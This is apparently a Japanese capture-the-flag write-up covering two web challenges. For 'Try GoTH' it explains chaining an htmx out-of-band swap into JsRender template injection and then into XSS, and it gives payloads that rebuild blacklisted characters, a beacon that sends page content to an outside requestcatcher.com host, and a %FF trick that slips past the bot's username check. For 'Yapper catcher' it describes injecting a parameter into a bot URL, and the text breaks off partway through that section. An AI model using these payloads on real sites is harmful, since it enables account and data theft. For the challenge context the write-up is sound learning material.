[web] Try GoTH
I just tried Go, sooooooo good. Sadly migration process isn't.
2nd Blood! コンテスト開始からひたすらやっていて、何とか解けた... XSSする問題。
SSTIする
まずはSSTIを見つける必要がある。コードベース全体を見て、まず怪しいのが GET /profile/で使われる、profile-page.tmpl。
{{ define "profile-page" }}
<div id="profile-page" class="container-lg p-4" hx-swap-oob="true">
<div hx-trigger="load" hx-get="/profile/ssr?username={{ .User.Username }}"></div>
<div id="profile-container" class="row"></div>
<input type="hidden" id="id" value="{{ .User.ID }}">
<input type="hidden" id="username" value="{{ .User.Username }}">
<input type="hidden" id="displayName" value="{{ .User.DisplayName }}">
<input type="hidden" id="status" value="{{ .User.Status }}">
<div class="template" id="profile-page-template">
<div id="temperature" class="h1 text-center">
{{`{{`}}>temperature{{`}}`}}<sup>o</sup>C
</div>
<div id="weather" class="h4 text-center">
{{`{{`}}>message{{`}}`}}
</div>
<p id="message" class="text-center">
<b id="displayName" class="font-weight-bold">{{`{{`}}>displayName{{`}}`}}</b>
is
<i id="status" class="font-weight-light">{{`{{`}}>status{{`}}`}}</i>
</p>
<div id="info" class="border border-info rounded p-2 text-info"><i>{{`{{`}}>alert{{`}}`}}</div>
</div>
<script>
document.addEventListener('htmx:afterRequest', function(e) {
if (e.detail.requestConfig.path.split('?')[0] === "/profile/ssr") {
if (document.getElementById('profile-container').children.length === 0) {
updateWeather()
}
}
})
decodeHTMLEntities = (s) => {
const el = document.createElement('textarea')
el.innerHTML = s
return el.innerText
}
updateWeather = async () => {
const weather = await fetchWeather();
const renderData = {
// id: document.getElementById("id")?.value || 0,
// username: document.getElementById("username")?.value || "",
displayName: document.getElementById("displayName")?.value || "",
status: document.getElementById("status")?.value || "hapiii",
temperature: weather.temperature,
message: weather.message,
alert: weather.alert
};
const profileTemplateString = decodeHTMLEntities(document.getElementById("profile-page-template").innerHTML);
const profileTemplate = window.jsrender.templates(profileTemplateString);
document.getElementById("profile-container").innerHTML = profileTemplate.render(renderData);
}
</script>
</div>
{{ end }}
htmxが使われていて、また、JsRenderを使ったクライアントサイドでのテンプレートレンダリングがある。botも用意されているので、とりあえずXSSを探していく。サーバサイド側で使われているhtml/templateで出来そうな所が探すが、ない。JsRenderも普通に使われていて、ない。
注目すべきは、GET /profileを表示するためにGET /profile/ssrをして埋め込みをしている部分。つまり、
<div hx-trigger="load" hx-get="/profile/ssr?username={{ .User.Username }}"></div> <div id="profile-container" class="row"></div>
ここでhtmxを使ってGET /profile/ssrをして、そこでは以下のようなhtmxが埋め込まれる。
{{ define "profile-page-ssr" }}
<div id="profile-container" class="row" hx-swap-oob="outerHTML:div#profile-container">
<div id="temperature" class="h1 text-center">
{{ .Weather.Temperature }}<sup>o</sup>C
</div>
<div id="weather" class="h4 text-center">
{{ .Weather.Message }}
</div>
<p id="message" class="text-center">
<b id="displayName" class="font-weight-bold">{{ .User.DisplayName }}</b>
is
<i id="status" class="font-weight-light">{{ .User.Status }}</i>
</div>
</div>
{{ end }}
hx-swap-oob="outerHTML:div#profile-container"と設定されているので、この内容は<div id="profile-container" class="row"></div>に埋め込まれることになる。JavaScript部分にて、
document.addEventListener('htmx:afterRequest', function(e) { if (e.detail.requestConfig.path.split('?')[0] === "/profile/ssr") { if (document.getElementById('profile-container').children.length === 0) { updateWeather() } } })
このようにprofile-containerに要素が無ければ、JsRenderによるレンダリングを行うupdateWeather関数を呼び出す。つまり、フォールバックというか、代替処理になっている。updateWeather関数を呼び出さないとまずは始まらないので、まずは、profile-containerに要素が無い状態にする必要がある。そのためにはGET /profile/ssrでエラーを起こす必要がある。
func profileSSR(c *gin.Context) { user, found := c.Get("user") if !found { view.Alert("danger", "Can't find profile information") view.Redirect(c, "/") return } var profile service.Profile var err error if c.Query("username") == "" { profile, err = service.GetProfileById(user.(model.User).ID, true) if err != nil { view.Alert("danger", "Can't find profile information: " + err.Error()) view.Redirect(c, "/") return } } else { username := c.Query("username") profile, err = service.GetProfileByUsername(username, true) if err != nil { view.Alert("danger", "Can't find profile information: " + err.Error()) view.Redirect(c, "/profile") return } } if profile.Weather.Found { // Render weather data view.Execute(c, "profile-page-ssr", profile) } else { // Stick to client-side fetch view.Execute(c, "empty", nil) } }
username==""の時は、ログインしているユーザーの内容が表示されるので、後々botに踏ませることを考えるとusernameを悪意あるユーザーのものにしておきたい。よって、
username := c.Query("username") profile, err = service.GetProfileByUsername(username, true) if err != nil { view.Alert("danger", "Can't find profile information: " + err.Error()) view.Redirect(c, "/profile") return }
ここでエラーを起こしたい。usernameは攻撃者の悪意あるユーザーのものにしたとするとservice.GetProfileByUsername(username, true)でエラーを出したい。呼び出しを色々見てみると、
func fetchWeather(code string) Weather { // TODO: Make agreement to get direct feed from weather satelite codeRegex := regexp.MustCompile("^[0-9]+$") if codeRegex.FindString(code) == "" { view.Alert("danger", "Cannot fetch weather code \"" + code +"\"") return Weather{Temperature: f2c(69.420), Message: "Weather iz not found", Found: false} } else { return Weather{Temperature: f2c(69.420), Message: "Weather iz naisu", Found: true} } }
のようにcode(=WeatherCode)が不正な文字列であるとエラーとして、codeを埋め込んだ文字列をview.Alertに投げてエラーに落とせる。view.Alertが発出されると、以下のテンプレートのものが埋め込まれる。
{{ define "alert-oob" }}
<div id="info" class="font-weight-bold border border-{{ .Type }} rounded text-{{ .Type }} p-2" hx-swap-oob="outerHTML:div#info">
{{ .Content }}
</div>
{{ end }}
これもSSRの時と同様にhx-swap-oob="outerHTML:div#info"が使われている。その埋め込み場所を見てみると、<div id="info" class="border border-info rounded p-2 text-info"><i>{{`{{`}}>alert{{`}}`}}</div>であり、これはどこに入っているかというと...
<div class="template" id="profile-page-template"> <div id="temperature" class="h1 text-center"> {{`{{`}}>temperature{{`}}`}}<sup>o</sup>C </div> <div id="weather" class="h4 text-center"> {{`{{`}}>message{{`}}`}} </div> <p id="message" class="text-center"> <b id="displayName" class="font-weight-bold">{{`{{`}}>displayName{{`}}`}}</b> is <i id="status" class="font-weight-light">{{`{{`}}>status{{`}}`}}</i> </p> <div id="info" class="border border-info rounded p-2 text-info"><i>{{`{{`}}>alert{{`}}`}}</div> </div>
JsRenderが使うテンプレートの部分DOMツリーに埋め込まれている!よって、htmxによって、テンプレート文字列部分にエラーが発生する任意のWeatherCodeを入れ込むことができ、それによってSSTIを発生させることができる!
WeatherCodeに{{if 1=1}}a{{else}}b{{/if}}を入れてみるとaが表示され、条件をfalseになるようにするとbが表示されることが確認できる。とりあえず、SSTIができることが分かった。
フィルターを回避してSSTIをXSSへ
ここのパートを無限にやってました。SSTIができたので、これをXSSにしていく。問題を難しくしているのがフィルターの存在。
func validate(status, displayName, weatherCode string) bool { blacklisted := "\"';:<>()\\#$%-?&" // idk ChatGPT said this will work buf := "" idx := []int{} buf += "status" idx = append(idx, len(buf)) buf += status idx = append(idx, len(buf)) buf += "displayName" idx = append(idx, len(buf)) buf += displayName idx = append(idx, len(buf)) buf += "weatherCode" idx = append(idx, len(buf)) buf += weatherCode idx = append(idx, len(buf)) lowerBuf := strings.ToLower(buf) upperBuf := strings.ToUpper(buf) if len(buf) != len(lowerBuf) || len(upperBuf) != len(lowerBuf) { return false } buf = lowerBuf for i := 0; i < 6; i += 2 { if strings.ContainsAny(buf[idx[i]:idx[i+1]], blacklisted) { return false } if strings.Contains(buf[idx[i]:idx[i+1]], "bot") { return false } } return true }
DisplayNameとWeatherCode(とenumのstatus)に対してブラックリストフィルタリングがかかっている。"';:<>()\#$%-?&が対象。JsRenderを色々調べて使えそうなものを探す。全人類が{{* [javascript-code] }}を見つけたと思うが、これはプロパティ設定を有効化しないといけないので使えない。
マニュアルをくまなくみると、dbgタグを見つける。これを使ってみると{{dbg 1+4+3}}{{/dbg}}で8と出力されてきた。何かしら評価されていそう。色々ガチャガチャ触ってみると、JavaScriptとして中身は評価されていそうであった。マニュアルとソースコードを読むと、dataとして入力したobjectのみ参照できるようだった。(#が使えればviewも読めるがブラックリストのため使えない。ソースコードを読むとnew Functionでいい感じに呼んでいるだけだったので、jailbreakも考えたが、それが出来たらゼロデイっぽい)
今回参照できるdataは
const renderData = { // id: document.getElementById("id")?.value || 0, // username: document.getElementById("username")?.value || "", displayName: document.getElementById("displayName")?.value || "", status: document.getElementById("status")?.value || "hapiii", temperature: weather.temperature, message: weather.message, alert: weather.alert }; /* redacted */ document.getElementById("profile-container").innerHTML = profileTemplate.render(renderData);
のような感じ。よって、{{dbg message}}{{/dbg}}とやればmessageを表示させることができた。
こういうパズルでXSSするときは<をいかに作るかというのが課題になる。色々さまよいながら考えると、dataで与えられているStringのインスタンスをうまく使ってブラックリストに入っている文字を生成することができた。supとかlinkのような非推奨な便利なものがあります。()が使えないので代わりに``で関数呼び出しをしています。後は根性。
< {{dbg message.sup``[0]}}{{/dbg}}
> {{dbg message.sup``[4]}}{{/dbg}}
" {{dbg message.link`a`[8]}}{{/dbg}}
( {{dbg [toString+``][0][17]}}{{/dbg}}
) {{dbg [toString+``][0][18]}}{{/dbg}}
という訳で
<img src onerror=alert(1)>
これを
{{dbg message.sup``[0]}}{{/dbg}}img src onerror=alert{{dbg [toString+``][0][17]}}{{/dbg}}1{{dbg [toString+``][0][18]}}{{/dbg}}{{dbg message.sup``[4]}}{{/dbg}}
のように変換してWeatherCodeとして更新してやればポップアップが出る。WeatherCodeはDBの関係で255文字が上限なので、DisplayNameに実行したいjsコードのbase64エンコードを置いて持ってきてevalすることにした。つまり、
WeatherCode
<img src onerror=eval(atob(`[payload]`))>
DisplayName
fetch("/profile/ssr").then(e=>e.text()).then(e=>navigator.sendBeacon("//sadfgjaskdjir32jk4.requestcatcher.com/", e))
としたいので、
Weather code
{{dbg message.sup``[0]}}{{/dbg}}img src onerror=eval{{dbg [toString+``][0][17]}}{{/dbg}}atob{{dbg [toString+``][0][17]}}{{/dbg}}`{{dbg displayName}}{{/dbg}}`{{dbg [toString+``][0][18]+[toString+``][0][18]}}{{/dbg}}{{dbg message.sup``[4]}}{{/dbg}}
DisplayName
ZmV0Y2goIi9wcm9maWxlL3NzciIpLnRoZW4oZT0+ZS50ZXh0KCkpLnRoZW4oZT0+bmF2aWdhdG9yLnNlbmRCZWFjb24oIi8vc2FkZmdqYXNrZGppcjMyams0LnJlcXVlc3RjYXRjaGVyLmNvbS8iLCBlKSk=
とすれば、フラグを外部送信できた。
bot-回避
解けた!と思って小躍りしていたのだが、botがURLにアクセスするときにGETのクエリストリングにusernameが存在していて、かつ、bot-という文字列が含まれていないといけない制限がかかっていた。
app.use((req, res, next) => { if (req.method === 'POST') { const { url } = req.body; try { const u = new URL(url); if (!['https:', 'http:'].includes(u.protocol)) { return res.status(200).send("Nope"); } if (u.host !== new URL(process.env.BOT_URL).host) { return res.status(200).send("This site only plzzz"); } if (!u.searchParams.get('username').includes('bot-')) { return res.status(200).send("No"); } } catch (err) { return res.status(200).send("Sth wrong"); } } next(); });
しかし、登録時にbotが含まれるユーザー名を入れるときは、bot_tokenを送信する必要があって、これは結構強めに作られている乱数で突破が難しい。
func Register(username, password, token string) (RegisterResult, error) { if strings.Contains(username, "bot") && token != config.GetString("bot_token") { return RegisterResult{}, errors.New("no you aren't") } user, err := model.Register(username, password) if err != nil { return RegisterResult{}, errors.New("can't register using this username") } // default value user.Update(user.Username, model.HAPIII, "1252431") return RegisterResult{UserId: user.ID}, nil }
方針は、botを含むユーザーを何とか突破させることではなく、読み込み時にある。/profile/?username=[attacker-usernme]としたいのだが、これを/profile/?username=[attacker-usernme]%FFbot-としても、変わらず[attacker-username]を読み込んでくれる。これはMySQLの仕様によるもので、無効な文字が含まれている場合はそれ以降を無視して文字列として処理してくれるためである(要出典、手元の解法メモにはそう書いてあった)。
という訳で、適当なユーザー名を作って http://web:9000/profile/?username=QeZPy2Njefpb2xs4tAFe%FFbot- のように読んでやるとbot-検証は回避しつつ、GET /profile/?username=QeZPy2Njefpb2xs4tAFeとして処理してくれる。
フラグゲット!
[web] Yapper catcher
No more manual yapping, LLMs will replace our job if the job is to yap all day. There are problems with them leaking sensitive stuffs nowadays so I've added a fool-proof mechanism to protect your precious data as well!
パスワードを設定して、それを使って秘密の文書を記録できるサイトが与えられる。問題点は、他人のユーザーへ他人のパスワードで秘密の文書を書き込むことができてしまう点である。
exports.updateStatus = async(id, user, quote) => { const status = await db.collection('status').findOne({ id }); if (!status) { throw Error(`Status with id ${id} doesn't exist`); } passcode = await decrypt(status.passcode, passcode_key); user = await encrypt(user, passcode); quote = await encrypt(quote, passcode); await db.collection('status').updateOne( { id }, { $push: { content: { user, quote } } } ) };
また、botの実装を見ると、await page.goto(process.env.SERVER_URL + '/?user=' + username)のようにusernameのみを入れる想定っぽくなってはいるが、usernameに対して特に検証は存在しないので、[username]&id=[status_id]とすればidをインジェクションできる。botの流れは
await page.goto(process.env.SERVER_URL + '/?user=' + username) await page.type('input#username', username); await page.type('textarea#quote', quote); await page.click('button#post-status'); await page.waitForNavigation();
のように指定のusernameにフラグを含んだquoteを投稿するというものなので、ここを攻撃者へ攻撃者のパスワードで秘密の文書として書き込んでもらえば、あとは攻撃者側で復号化すればフラグが手に入る。
つまり、